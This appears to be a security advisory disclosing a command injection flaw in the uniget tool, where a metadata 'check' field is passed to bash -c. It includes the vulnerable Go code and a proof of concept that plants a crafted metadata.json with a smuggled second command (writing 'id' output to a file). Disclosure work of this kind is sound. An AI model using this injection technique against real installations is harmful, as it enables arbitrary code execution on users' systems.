uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

Summary

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.

Related structure:

type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1 — Verify the vulnerable binary:

/tmp/uniget-bin --version

Output:

uniget version main

Step 2 — Create malicious metadata cache:

mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
  "tools": [
    {
      "name": "evil-tool",
      "version": "1.0.0",
      "binary": "${target}/bin/evil-tool",
      "check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
      "tags": ["test"],
      "description": "RCE test",
      "repository": "https://example.com",
      "license": {
        "name": "MIT",
        "link": "https://example.com"
      },
      "sources": [
        {
          "registry": "ghcr.io",
          "repository": "uniget-org/tools"
        }
      ]
    }
  ]
}
EOF

<img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" /> <img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" />